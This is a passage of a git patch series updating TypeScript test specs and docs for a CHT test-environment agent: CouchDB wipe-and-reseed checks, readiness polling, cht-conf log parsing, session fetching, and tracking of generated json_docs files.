+          // Read live revs before the wipe, then again to confirm the reseed restored them.
+          expect(fetchDocRevsStub.callCount).to.equal(2);
+          expect(fetchDocRevsStub.firstCall.args).to.deep.equal(['https://nginx', dockerHandle.auth, ['place-1', 'person-1']]);
           expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
             { _id: 'place-1', _rev: '7-live', _deleted: true },
             { _id: 'person-1', _rev: '2-live', _deleted: true },
@@ -1106,17 +1297,20 @@ describe('TestEnvironmentAgent', () => {
 
         it('should skip tombstoned and never-existed docs in the wipe', async () => {
           await seedTracking();
-          fetchDocRevsStub.resolves([
+          fetchDocRevsStub.onFirstCall().resolves([
             { id: 'place-1', rev: '7-live' },
             { id: 'person-1', rev: '2-tomb', deleted: true },
           ]);
           bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
 
-          await agentUnderTest.reset(dockerHandle, 'couchdb');
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
 
           expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
             { _id: 'place-1', _rev: '7-live', _deleted: true },
           ]);
+          // The doc a test deleted is recreated by the reseed and counted as restored.
+          expect(result.wiped).to.equal(1);
+          expect(result.reseeded).to.equal(2);
         });
 
         it('should throw when a deletion is rejected (half-reset must not pass as clean)', async () => {
@@ -1146,15 +1340,18 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('should throw when the reseed only partially uploads', async () => {
+        it('should throw when CouchDB shows a wiped doc did not come back', async () => {
           await seedTracking();
-          runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 2 docs uploaded OK.')));
+          fetchDocRevsStub.onSecondCall().resolves([
+            { id: 'place-1', rev: '8-new' },
+            { id: 'person-1', rev: '3-tomb', deleted: true },
+          ]);
 
           try {
             await agentUnderTest.reset(dockerHandle, 'couchdb');
             expect.fail('expected reset to reject');
           } catch (error) {
-            expect((error as Error).message).to.include('reseed uploaded only 1 of 2');
+            expect((error as Error).message).to.include('1 doc(s) are missing after the reseed: person-1');
           }
         });
 
@@ -1166,36 +1363,39 @@ describe('TestEnvironmentAgent', () => {
             await agentUnderTest.reset(dockerHandle, 'couchdb');
             expect.fail('expected reset to reject');
           } catch (error) {
-            expect((error as Error).message).to.include('no docs to reseed from');
+            expect((error as Error).message).to.include('cannot restore 2 of the 2');
           }
           expect(fetchDocRevsStub.called).to.equal(false);
           expect(bulkDocsStub.called).to.equal(false);
         });
 
-        it('should throw when the reseed uploads nothing (upload-docs prints no summary)', async () => {
+        it('should throw when the reseed restored nothing, whatever upload-docs printed', async () => {
           await seedTracking();
           runChtConfStub.resolves(okRun(ansiInfo('No docs directory found at /mnt/test-data/json_docs.')));
+          fetchDocRevsStub.onSecondCall().resolves([
+            { id: 'place-1', rev: '8-tomb', deleted: true },
+            { id: 'person-1', rev: '3-tomb', deleted: true },
+          ]);
 
           try {
             await agentUnderTest.reset(dockerHandle, 'couchdb');
             expect.fail('expected reset to reject');
           } catch (error) {
-            expect((error as Error).message).to.include('reseed uploaded only 0 of 2');
+            expect((error as Error).message).to.include('2 doc(s) are missing after the reseed');
           }
         });
 
-        it('should refresh the tracking to the reseeded docs when the dataset shrank', async () => {
+        it('should refuse to wipe tracked docs the data project can no longer restore', async () => {
           await seedTracking();
-          readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }]);
-          runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 1 docs uploaded OK.')));
-          await agentUnderTest.reset(dockerHandle, 'couchdb'); // wipes 2, reseeds 1
+          readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }]); // the dataset shrank
 
-          fetchDocRevsStub.resetHistory();
-          fetchDocRevsStub.resolves([{ id: 'place-1', rev: '9-x' }]);
-          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
-          await agentUnderTest.reset(dockerHandle, 'couchdb');
-
-          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1']);
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('cannot restore 1 of the 2 doc(s) it would wipe (person-1)');
+          }
+          expect(bulkDocsStub.called).to.equal(false);
         });
 
         it('should not let a failed re-seed clobber the wipe worklist', async () => {
@@ -1255,11 +1455,29 @@ describe('TestEnvironmentAgent', () => {
             docIds: ['place-1', 'person-1'],
           });
 
-          expect(fetchDocRevsStub.calledOnceWith('https://nginx', dockerHandle.auth, ['place-1', 'person-1']))
-            .to.equal(true);
+          expect(fetchDocRevsStub.firstCall.args).to.deep.equal(['https://nginx', dockerHandle.auth, ['place-1', 'person-1']]);
           expect(result.wiped).to.equal(2);
         });
 
+        it('should reseed a SUBSET worklist against a real upload-docs summary', async () => {
+          // upload-docs re-uploads every json_docs file with no _rev: the wiped doc is
+          // recreated OK, the un-wiped one conflicts, so cht-conf reports "1 of 2".
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 2 docs uploaded OK.')));
+          fetchDocRevsStub.resolves([{ id: 'place-1', rev: '7-live' }]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb', {
+            dataPath,
+            docIds: ['place-1'],
+          });
+
+          expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
+            { _id: 'place-1', _rev: '7-live', _deleted: true },
+          ]);
+          expect(result.wiped).to.equal(1);
+          expect(result.reseeded).to.equal(1);
+        });
+
         it('should refuse to wipe protected config ids supplied in the worklist', async () => {
           runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
           fetchDocRevsStub.resolves([{ id: 'place-1', rev: '7-live' }]);
@@ -1287,18 +1505,25 @@ describe('TestEnvironmentAgent', () => {
           }
         });
 
-        it('should report ids the seed refused as protected, and never wipe them', async () => {
+        it('should refuse to reseed when a protected config doc was planted in json_docs after the seed', async () => {
+          // upload-docs --force filters nothing, so a planted protected id would be
+          // CREATED on the instance. Refuse before wiping anything.
+          await seedTracking();
+          fetchDocRevsStub.resetHistory();
           readSeededDocsStub.returns([
             { id: 'place-1', type: 'clinic' },
             { id: 'person-1', type: 'person' },
             { id: 'settings', type: 'clinic' },
           ]);
-          await seedTracking();
 
-          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
-
-          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1', 'person-1']);
-          expect(result.protectedSkipped).to.deep.equal(['settings']);
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('contains protected config doc(s) settings');
+          }
+          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(bulkDocsStub.called).to.equal(false);
         });
 
         it('should throw when _bulk_docs acknowledges fewer deletions than were submitted', async () => {
@@ -1323,13 +1548,24 @@ describe('TestEnvironmentAgent', () => {
           expect(fetchDocRevsStub.called).to.equal(false);
         });
 
-        it('should clear the tracking on teardown, so a later couchdb reset is a no-op', async () => {
+        it('should keep tracking across teardown: CouchDB data is a bind mount that survives down -v', async () => {
           await seedTracking();
 
           await agentUnderTest.teardown(dockerHandle);
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(result.wiped).to.equal(2);
+        });
+
+        it('should reset against an absolute dataPath even if the process cwd changes after seeding', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath: 'relative/data' });
+          runChtConfStub.resetHistory();
+
           await agentUnderTest.reset(dockerHandle, 'couchdb');
 
-          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(readSeededDocsStub.lastCall.args[0]).to.equal(resolve('relative/data'));
+          expect(runChtConfStub.lastCall.args[0].configPath).to.equal(resolve('relative/data'));
         });
       });
     });
@@ -1339,7 +1575,7 @@ describe('TestEnvironmentAgent', () => {
     it('should resolve in mock mode', async () => {
       const handle = await provisionMock();
 
-      expect(await agent.teardown(handle)).to.equal(undefined);
+      expect(await agent.teardown(handle)).to.be.undefined;
     });
 
     it('should print the human teardown gate with the cht-core path shell-quoted (real mode)', async () => {
diff --git a/test/utils/cht-api.spec.ts b/test/utils/cht-api.spec.ts
index 97609c7b..6efbb61a 100644
--- a/test/utils/cht-api.spec.ts
+++ b/test/utils/cht-api.spec.ts
@@ -1,6 +1,6 @@
 import { expect } from 'chai';
 import * as sinon from 'sinon';
-import { bulkDocs, fetchDocRevs, fetchFormRevs, fetchSettings } from '../../src/utils/cht-api';
+import { bulkDocs, fetchDocRevs, fetchFormRevs, fetchSession, fetchSettings } from '../../src/utils/cht-api';
 
 describe('cht-api', () => {
   let fetchStub: sinon.SinonStub;
@@ -70,6 +70,44 @@ describe('cht-api', () => {
     });
   });
 
+  describe('fetchSession', () => {
+    it('GETs /_session with basic auth and returns the user and roles', async () => {
+      fetchStub.resolves(jsonResponse({ ok: true, userCtx: { name: 'medic', roles: ['_admin'] } }));
+
+      const session = await fetchSession(URL_BASE, auth);
+
+      expect(session).to.deep.equal({ name: 'medic', roles: ['_admin'] });
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/_session');
+      expect(fetchStub.firstCall.args[1].headers.Authorization).to.equal(EXPECTED_AUTH);
+    });
+
+    it('reports an anonymous session as no name and no roles', async () => {
+      fetchStub.resolves(jsonResponse({ ok: true, userCtx: { name: null, roles: [] } }));
+
+      expect(await fetchSession(URL_BASE, auth)).to.deep.equal({ name: null, roles: [] });
+    });
+
+    it('drops non-string roles and tolerates a body without userCtx', async () => {
+      fetchStub.onFirstCall().resolves(jsonResponse({ userCtx: { name: 'medic', roles: ['_admin', 7, null] } }));
+      fetchStub.onSecondCall().resolves(jsonResponse({ ok: true }));
+
+      expect((await fetchSession(URL_BASE, auth)).roles).to.deep.equal(['_admin']);
+      expect(await fetchSession(URL_BASE, auth)).to.deep.equal({ name: null, roles: [] });
+    });
+
+    it('rejects with the status on bad credentials', async () => {
+      fetchStub.resolves(jsonResponse({ error: 'unauthorized' }, 401));
+
+      try {
+        await fetchSession(URL_BASE, auth);
+        expect.fail('expected fetchSession to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('401');
+        expect((error as Error).message).to.not.include('password');
+      }
+    });
+  });
+
   describe('fetchFormRevs', () => {
     it('queries the medic _all_docs form: key range and maps id + rev', async () => {
       fetchStub.resolves(
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index 25682657..411c699e 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -274,7 +274,7 @@ describe('cht-conf-runner', () => {
       const proc = makeFakeProc();
       const { runChtConf } = loadRunner(proc);
 
-      const promise = runChtConf(execOpts());
+      const promise = runChtConf(execOpts({ bin: 'cht' }));
       proc.emit('error', new Error('ENOENT'));
 
       const result = await promise;
@@ -287,7 +287,7 @@ describe('cht-conf-runner', () => {
       const proc = makeFakeProc();
       const { runChtConf } = loadRunner(proc);
 
-      const promise = runChtConf(execOpts({ cwd: '/nope/missing' }));
+      const promise = runChtConf(execOpts({ cwd: '/nope/missing', bin: 'cht' }));
       proc.emit('error', new Error('spawn cht ENOENT'));
 
       const result = await promise;
@@ -503,6 +503,63 @@ describe('cht-conf-runner', () => {
       expect(result.output).to.not.include('ssw0rd');
     });
 
+    // cht-conf's log.js writes every level to STDOUT behind a colour code, e.g. \x1b[31mERROR.
+    const coloured = (colour: string, level: string, message: string) => `\x1b[${colour}m${level} ${message} \x1b[0m\n`;
+
+    it('fails a bucket that logged an ERROR even though cht-conf exited 0', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'resources' }));
+      // upload-custom-translations.js logs this and returns, so cht-conf exits 0.
+      proc.stdout.emit('data', Buffer.from(coloured('31', 'ERROR', 'Exception checking translations: bad file')));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('logged an error but exited 0');
+      expect(result.warnings.join(' ')).to.include('Exception checking translations');
+    });
+
+    it('does not fail an upload whose form is merely named like an error', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Form forms/app/error-report.xml uploaded')));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+    });
+
+    it("does not fail on cht-conf's benign INFO about an unreadable bookmark", async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      // warn-upload-overwrite.js logs this at INFO and carries on.
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Error trying to read bookmark, continuing anyway')));
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Form forms/app/pregnancy.xml uploaded')));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+    });
+
+    it('spawns the artifact filter it advertises (same lowering as buildChtConfArgs)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'app-forms', artifact: 'pregnancy' }));
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml uploaded'));
+      proc.emit('close', 0);
+
+      await promise;
+      expect(spawnLog[0].args.slice(-2)).to.deep.equal(['--', 'pregnancy']);
+      expect(spawnLog[0].args).to.deep.equal(buildChtConfArgs(baseOpts({ action: 'app-forms', artifact: 'pregnancy' })));
+    });
+
     it('passes the cwd through to the spawned bucket process', async () => {
       const proc = makeFakeProc();
       const { runBucket, spawnLog } = loadRunner(proc);
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
index 62c76d01..1a37c168 100644
--- a/test/utils/cht-readiness.spec.ts
+++ b/test/utils/cht-readiness.spec.ts
@@ -16,21 +16,91 @@ describe('cht-readiness', () => {
 
   // Zero delays keep the backoff loop fast in tests.
   const fast = { initialDelayMs: 0, maxDelayMs: 0 };
+  const healthy = () => ({
+    ok: true,
+    status: 200,
+    json: async () => ({ version: { app: '4.18.0', couchdb: '3.4.2' } }),
+  });
+  const unavailable = () => ({ ok: false, status: 503, json: async () => ({ error: 'Service unavailable' }) });
+  const expectRejection = async (promise: Promise<void>): Promise<Error> => {
+    try {
+      await promise;
+    } catch (error) {
+      return error as Error;
+    }
+    expect.fail('expected waitForReady to reject');
+  };
 
   describe('waitForReady', () => {
-    it('resolves once monitoring responds OK', async () => {
-      fetchStub.resolves({ ok: true, status: 200 });
+    it('resolves once monitoring reports both versions, asking for JSON', async () => {
+      fetchStub.resolves(healthy());
 
       await waitForReady('https://nginx', fast);
 
       expect(fetchStub.calledOnce).to.equal(true);
       expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/api/v2/monitoring');
+      expect(fetchStub.firstCall.args[1].headers.Accept).to.equal('application/json');
+    });
+
+    it('keeps polling past the 200 startup page cht-api serves before it is up', async () => {
+      fetchStub.onCall(0).resolves({
+        ok: true,
+        status: 200,
+        json: async () => {
+          throw new SyntaxError('Unexpected token < in JSON');
+        },
+      });
+      fetchStub.onCall(1).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('treats an empty app or CouchDB version as not ready', async () => {
+      fetchStub.onCall(0).resolves({ ok: true, status: 200, json: async () => ({ version: { app: '', couchdb: '' } }) });
+      fetchStub.onCall(1).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('fails fast on a redirect instead of waiting out the budget', async () => {
+      fetchStub.resolves({ ok: false, status: 301 });
+
+      const error = await expectRejection(waitForReady('https://nginx', fast));
+
+      expect(error.message).to.include('cannot become ready as configured');
+      expect(fetchStub.firstCall.args[1].redirect).to.equal('manual');
+      expect(fetchStub.callCount).to.equal(1);
+    });
+
+    it('fails fast when the runtime does not trust the certificate', async () => {
+      const cause = Object.assign(new Error('self-signed certificate'), { code: 'DEPTH_ZERO_SELF_SIGNED_CERT' });
+      fetchStub.rejects(Object.assign(new TypeError('fetch failed'), { cause }));
+
+      const error = await expectRejection(waitForReady('https://nginx', fast));
+
+      expect(error.message).to.include('self-signed certificate');
+      expect(fetchStub.callCount).to.equal(1);
+    });
+
+    it('surfaces the underlying cause, which Node hides behind "fetch failed"', async () => {
+      const failure = Object.assign(new TypeError('fetch failed'), {
+        cause: new Error('connect ECONNREFUSED 172.18.0.3:443'),
+      });
+      fetchStub.rejects(failure);
+
+      const error = await expectRejection(waitForReady('https://nginx', { ...fast, maxWaitMs: 5 }));
+
+      expect(error.message).to.include('ECONNREFUSED');
     });
 
     it('retries until healthy (503, 503, then 200)', async () => {
-      fetchStub.onCall(0).resolves({ ok: false, status: 503 });
-      fetchStub.onCall(1).resolves({ ok: false, status: 503 });
-      fetchStub.onCall(2).resolves({ ok: true, status: 200 });
+      fetchStub.onCall(0).resolves(unavailable());
+      fetchStub.onCall(1).resolves(unavailable());
+      fetchStub.onCall(2).resolves(healthy());
 
       const result = await waitForReady('https://nginx', fast);
 
@@ -40,7 +110,7 @@ describe('cht-readiness', () => {
 
     it('retries when fetch rejects (connection refused), then succeeds', async () => {
       fetchStub.onCall(0).rejects(new Error('ECONNREFUSED'));
-      fetchStub.onCall(1).resolves({ ok: true, status: 200 });
+      fetchStub.onCall(1).resolves(healthy());
 
       const result = await waitForReady('https://nginx', fast);
 
@@ -49,15 +119,50 @@ describe('cht-readiness', () => {
     });
 
     it('rejects with a clear message if never ready before timeout', async () => {
-      fetchStub.resolves({ ok: false, status: 503 });
-
-      try {
-        await waitForReady('https://nginx', { initialDelayMs: 0, maxDelayMs: 0, maxWaitMs: 30 });
-        expect.fail('expected waitForReady to reject');
-      } catch (error) {
-        expect((error as Error).message).to.include('did not become ready');
-        expect((error as Error).message).to.include('https://nginx');
-      }
+      fetchStub.resolves(unavailable());
+
+      const error = await expectRejection(waitForReady('https://nginx', { ...fast, maxWaitMs: 30 }));
+
+      expect(error.message).to.include('did not become ready');
+      expect(error.message).to.include('https://nginx');
+    });
+
+    it('gives the probe after the last sleep a real budget, not whatever was left over', async () => {
+      // A slow instance that honours the abort signal: a ~1ms budget would abort it.
+      const slowHealthy = (_url: string, init: { signal: AbortSignal }) =>
+        new Promise((resolve, reject) => {
+          const timer = setTimeout(() => resolve(healthy()), 50);
+          init.signal.addEventListener('abort', () => {
+            clearTimeout(timer);
+            reject(init.signal.reason);
+          });
+        });
+      fetchStub.onCall(0).resolves(unavailable());
+      fetchStub.onCall(1).callsFake(slowHealthy);
+
+      await waitForReady('https://nginx', { initialDelayMs: 5_000, maxDelayMs: 5_000, maxWaitMs: 1_200 });
+
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('logs each new failure reason once, so a long wait is not silent', async () => {
+      const logSpy = sinon.spy(console, 'log');
+      fetchStub.onCall(0).resolves(unavailable());
+      fetchStub.onCall(1).resolves(unavailable());
+      fetchStub.onCall(2).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      const notes = logSpy.getCalls().filter((call) => String(call.args[0]).startsWith('[cht-readiness]'));
+      expect(notes).to.have.lengthOf(1);
+      expect(String(notes[0].args[0])).to.include('HTTP 503');
+    });
+
+    it('rejects a budget that is not a finite number instead of polling forever', async () => {
+      const error = await expectRejection(waitForReady('https://nginx', { maxWaitMs: Number.NaN }));
+
+      expect(error.message).to.include('finite');
+      expect(fetchStub.called).to.equal(false);
     });
   });
 });
diff --git a/test/utils/test-data.spec.ts b/test/utils/test-data.spec.ts
index bcb08407..c8f133b7 100644
--- a/test/utils/test-data.spec.ts
+++ b/test/utils/test-data.spec.ts
@@ -1,15 +1,19 @@
 import { expect } from 'chai';
-import { mkdtempSync, mkdirSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { existsSync, mkdtempSync, mkdirSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
 import { tmpdir } from 'node:os';
 import { join } from 'node:path';
 import {
   SeededDoc,
   classifySeededDocs,
-  cleanSeededDocs,
   countCreatedUsers,
+  findForeignDocFiles,
+  hasCsvInput,
   hasUsersCsv,
+  listDocFiles,
   parseUploadDocsSummary,
   readSeededDocs,
+  recordOwnedDocFiles,
+  removeOwnedDocFiles,
 } from '../../src/utils/test-data';
 import { DiscoveredConfig } from '../../src/types';
 
@@ -57,8 +61,9 @@ describe('test-data', () => {
   describe('json_docs fixtures', () => {
     let dataPath: string;
 
-    const writeDoc = (id: string, doc: Record<string, unknown>): void => {
-      writeFileSync(join(dataPath, 'json_docs', `${id}.doc.json`), JSON.stringify({ _id: id, ...doc }));
+    const writeDoc = (id: string, doc: Record<string, unknown>, dir = ''): void => {
+      mkdirSync(join(dataPath, 'json_docs', dir), { recursive: true });
+      writeFileSync(join(dataPath, 'json_docs', dir, `${id}.doc.json`), JSON.stringify({ _id: id, ...doc }));
     };
 
     beforeEach(() => {
@@ -110,34 +115,105 @@ describe('test-data', () => {
         expect(readSeededDocs(dataPath)).to.deep.equal([]);
       });
 
-      it('throws on a malformed doc file rather than guessing the worklist', () => {
+      it('reads docs in subdirectories too, as cht-conf upload-docs does', () => {
+        writeDoc('top', { type: 'clinic' });
+        writeDoc('nested', { type: 'person' }, 'extra');
+
+        expect(readSeededDocs(dataPath).map((doc) => doc.id)).to.deep.equal(['nested', 'top']);
+      });
+
+      it('falls back to the filename when a doc has no _id', () => {
+        writeFileSync(join(dataPath, 'json_docs', 'no-id.doc.json'), JSON.stringify({ type: 'clinic' }));
+
+        expect(readSeededDocs(dataPath)).to.deep.equal([{ id: 'no-id', type: 'clinic' }]);
+      });
+
+      it('throws on a malformed doc file, naming it, rather than guessing the worklist', () => {
         writeFileSync(join(dataPath, 'json_docs', 'broken.doc.json'), '{not json');
 
-        expect(() => readSeededDocs(dataPath)).to.throw(SyntaxError);
+        expect(() => readSeededDocs(dataPath)).to.throw('json_docs/broken.doc.json is not valid JSON');
+      });
+    });
+
+    describe('hasCsvInput', () => {
+      it('is true when the data project has a csv/ directory', () => {
+        mkdirSync(join(dataPath, 'csv'));
+
+        expect(hasCsvInput(dataPath)).to.equal(true);
+      });
+
+      it('is false without one', () => {
+        expect(hasCsvInput(dataPath)).to.equal(false);
       });
     });
 
-    describe('cleanSeededDocs', () => {
-      it('removes only the .doc.json files, keeping report logs and other project files', () => {
-        writeDoc('stale-1', { type: 'clinic' });
-        writeDoc('stale-2', { type: 'person' });
+    describe('ownership of json_docs', () => {
+      it('lists doc files recursively, sorted, ignoring everything else', () => {
+        writeDoc('b', { type: 'clinic' });
+        writeDoc('a', { type: 'person' }, 'sub');
+        writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
+
+        expect(listDocFiles(dataPath)).to.deep.equal(['b.doc.json', 'sub/a.doc.json']);
+      });
+
+      it('treats every doc file as foreign until this layer has recorded it (fails closed)', () => {
+        writeDoc('hand-authored', { type: 'clinic' });
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(0);
+        expect(listDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+      });
+
+      it('removes only the files it recorded, keeping report logs and files outside json_docs', () => {
+        writeDoc('generated-1', { type: 'clinic' });
+        writeDoc('generated-2', { type: 'person' }, 'nested');
+        recordOwnedDocFiles(dataPath);
         writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
         writeFileSync(join(dataPath, 'users.csv'), 'username,password,roles\n');
 
-        const removed = cleanSeededDocs(dataPath);
+        expect(findForeignDocFiles(dataPath)).to.deep.equal([]);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(2);
+        expect(listDocFiles(dataPath)).to.deep.equal([]);
+        expect(hasUsersCsv(dataPath)).to.equal(true);
+        expect(readdirSync(join(dataPath, 'json_docs'))).to.include('upload-docs.1.log.json');
+      });
+
+      it('never removes a hand-authored file added after the record, and reports it as foreign', () => {
+        writeDoc('generated', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+        writeDoc('hand-authored', { type: 'person' });
 
-        expect(removed).to.equal(2);
-        expect(readSeededDocs(dataPath)).to.deep.equal([]);
-        expect(hasUsersCsv(dataPath)).to.equal(true); // files outside json_docs untouched
-        expect(readdirSync(join(dataPath, 'json_docs'))).to.deep.equal(['upload-docs.1.log.json']);
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+        removeOwnedDocFiles(dataPath);
+        expect(listDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
       });
 
-      it('returns 0 when json_docs does not exist', () => {
-        rmSync(join(dataPath, 'json_docs'), { recursive: true });
+      it('treats a generated file edited since the record as the operator\'s', () => {
+        writeDoc('generated', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+        writeDoc('generated', { type: 'clinic', name: 'edited by hand' });
 
-        expect(cleanSeededDocs(dataPath)).to.equal(0);
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['generated.doc.json']);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(0);
+      });
+
+      it('proves nothing from a corrupt manifest', () => {
+        writeDoc('generated', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+        writeFileSync(join(dataPath, '.cht-agent-seeded.json'), '{not json');
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['generated.doc.json']);
+      });
+
+      it('keeps the manifest beside json_docs, where upload-docs will not pick it up', () => {
+        writeDoc('generated', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+
+        expect(existsSync(join(dataPath, '.cht-agent-seeded.json'))).to.equal(true);
+        expect(listDocFiles(dataPath)).to.deep.equal(['generated.doc.json']);
       });
     });
+
   });
 
   describe('classifySeededDocs', () => {

From 2f0b31aa43db1e46f5b708f8a6e399a0c046b3ed Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Thu, 8 Oct 2026 10:27:48 -0600
Subject: [PATCH 22/24] fix(#66): apply the round-3 review suggestions

All 42 suggestions from review 5439763310, applied verbatim to 436d5fe:

- scripts: every test-env.sh helper ends with an explicit return (the four SonarCloud
  S7682 findings); the project name is sanitised in the C locale; up, down and restart
  refuse a Compose project another checkout started; up's nginx check also sees a stopped
  nginx; the by-hand command in the override passes every value the wrapper passes
- readiness: a 4xx other than 408/429 is terminal, and a TLS refusal names the remedy
- cht-conf runner: an ERROR line under exit 0 is reported as a warning, not a failure
- test data: the json_docs listing skips what upload-docs skips; only top-level uuid files
  are recorded as generated; a doc whose _id is not its file name, or a deletion doc, is
  refused before any upload or wipe
- agent: the gates print CHT_CORE_HOST_PATH when it is set; chtCorePath may not start with
  ~; real mode refuses only a missing working copy; the provision gate rebuilds; clearer
  shortfall, wipe-failure and default-credential messages; the cert's lifetime is documented
- docs: the runbook's cert-trust step, the PrepareTestDataOptions doc
- specs for the above

Co-authored-by: Sugat Bajracharya <30311933+sugat009@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 docker/cht-agent-net.override.yml          | 10 +++-
 docs/docker-agent-runbook.md               |  9 +++
 scripts/lib/test-env.sh                    | 32 +++++++++--
 scripts/test-env-down.sh                   |  2 +-
 scripts/test-env-up.sh                     |  6 +-
 src/agents/test-environment-agent.ts       | 63 +++++++++++++++------
 src/types/index.ts                         | 16 ++++--
 src/utils/cht-conf-runner.ts               | 21 +++----
 src/utils/cht-readiness.ts                 | 16 ++++--
 src/utils/test-data.ts                     | 35 ++++++++++--
 test/agents/test-environment-agent.spec.ts | 42 +++++++++++++-
 test/utils/cht-conf-runner.spec.ts         | 66 ++++++++++++++++++++--
 test/utils/cht-readiness.spec.ts           | 21 ++++++-
 test/utils/test-data.spec.ts               | 35 ++++++++----
 14 files changed, 296 insertions(+), 78 deletions(-)

diff --git a/docker/cht-agent-net.override.yml b/docker/cht-agent-net.override.yml
index 0a878615..45536549 100644
--- a/docker/cht-agent-net.override.yml
+++ b/docker/cht-agent-net.override.yml
@@ -8,8 +8,14 @@
 #
 # HUMAN-run only (the cht-agent never runs Docker). scripts/test-env-up.sh applies
 # it with a per-checkout project, internal network and data dir (scripts/lib/test-env.sh);
-# by hand, always pass a project name:
-#   docker compose -p <project> -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
+# by hand, pass the same values that test_env_compose passes, not only -p. Without
+# CHT_NETWORK, the stack shares the default `cht-net` network and the couchdb/haproxy/api
+# names with any other CHT stack that also uses `cht-net`. Without COUCHDB_PASSWORD,
+# Compose stops. Use this command:
+#   COUCHDB_USER=medic COUCHDB_PASSWORD=password COMMON_NAME=nginx \
+#   NGINX_HTTP_PORT=127.0.0.1:80 NGINX_HTTPS_PORT=127.0.0.1:443 \
+#   CHT_NETWORK=<project>-net COUCHDB_DATA=./srv-<project> \
+#     docker compose -p <project> -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
 # Only one stack's nginx can be on cht-agent-net at a time: `nginx` would resolve to both.
 #
 # VALIDATE before relying on this: the service name (`nginx`) and the key of the
diff --git a/docs/docker-agent-runbook.md b/docs/docker-agent-runbook.md
index 9e758e6b..13ba4839 100644
--- a/docs/docker-agent-runbook.md
+++ b/docs/docker-agent-runbook.md
@@ -137,6 +137,15 @@ CHT_CORE_REBUILD=1 scripts/test-env-up.sh ~/src/cht-core
